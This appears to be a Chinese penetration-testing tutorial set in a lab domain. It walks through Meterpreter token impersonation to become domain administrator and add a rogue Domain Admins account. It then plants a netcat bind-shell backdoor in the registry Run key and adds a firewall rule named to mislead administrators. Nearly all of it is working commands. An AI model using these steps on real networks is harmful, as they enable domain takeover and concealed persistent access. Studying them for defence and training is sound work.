Token(令牌),域環(huán)境中提權(quán)
用戶每次登錄時,賬號綁定臨時的token;
訪問資源時提交token進(jìn)行身份驗(yàn)證,類似于web cookie。
Delegate Token:交互會話登錄,(例如直接登錄、遠(yuǎn)程桌面登錄)
Impersonate Token:非交互登錄,(例如訪問文件共享)
注意:在域環(huán)境中,Delegate Token賬號注銷后變成Impersonate Token,權(quán)限依然有效。所以攻擊者一旦獲取域管理員的token后,危害極大!
實(shí)例:server 2003是域控制器,XP加入到域。
首先使用ms08-067漏洞,獲得XP的system權(quán)限;
然后在域控制器上訪問XP的文件共享(\\192.168.80.44\c$),建立一個administrator用戶的Impersonate Token;
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token LAB\\Administrator? 將自己偽裝成LAB Administrator用戶 (注意命令中是兩個\)
meterpreter > getuid? 發(fā)現(xiàn)自己現(xiàn)在是域管理員
Server username: LAB\Administrator
meterpreter > execute -f cmd.exe -i -t ?獲得交互shell,-t(使用當(dāng)前假冒的token執(zhí)行程序)
C:\WINDOWS\system32>ipconfig /all ?查看XP的DNS服務(wù)器,即域控制器的ip地址
meterpreter > add_user coleradmin Coleradmin1! -h 192.168.80.11 ?添加用戶
meterpreter > add_group_user "Domain Admins" coleradmin -h 192.168.80.11 ?給予域管理員權(quán)限
編輯注冊表
注冊表的滲透測試中的常見用途:修改、添加啟動項;竊取存儲在注冊表中的機(jī)密信息;繞過文件型病毒查殺。
實(shí)例:編輯注冊表,添加nc到系統(tǒng)啟動項中,形成后門程序。
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 ?將nc.exe上傳到目標(biāo)主機(jī)
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run ?枚舉注冊表的鍵值
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe' ?在當(dāng)前主鍵下增加一個nc鍵值
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc ?查看nc鍵值
在重啟之前,首先要設(shè)置防火墻允許444端口通過。
meterpreter > execute -f cmd -i -H ?最好加上-H參數(shù),不然在目標(biāo)主機(jī)上會彈出cmd窗口
C:\Windows\System32> netsh firewall show opmode ?查看防火墻的狀態(tài)
C:\Windows\System32>netsh firewall add portopening TCP 444 "網(wǎng)絡(luò)發(fā)現(xiàn)(Pub PSD-Out)" ENABLE ALL? 添加防火墻的規(guī)則允許444端口通過(這里“網(wǎng)絡(luò)發(fā)現(xiàn)(Pub PSD-Out)”是規(guī)則名稱,這樣寫是為了迷惑管理員。)
目標(biāo)主機(jī)重啟后,在Kali上使用nc連接它,獲得shell。
root@kali:~# nc 192.168.80.33 444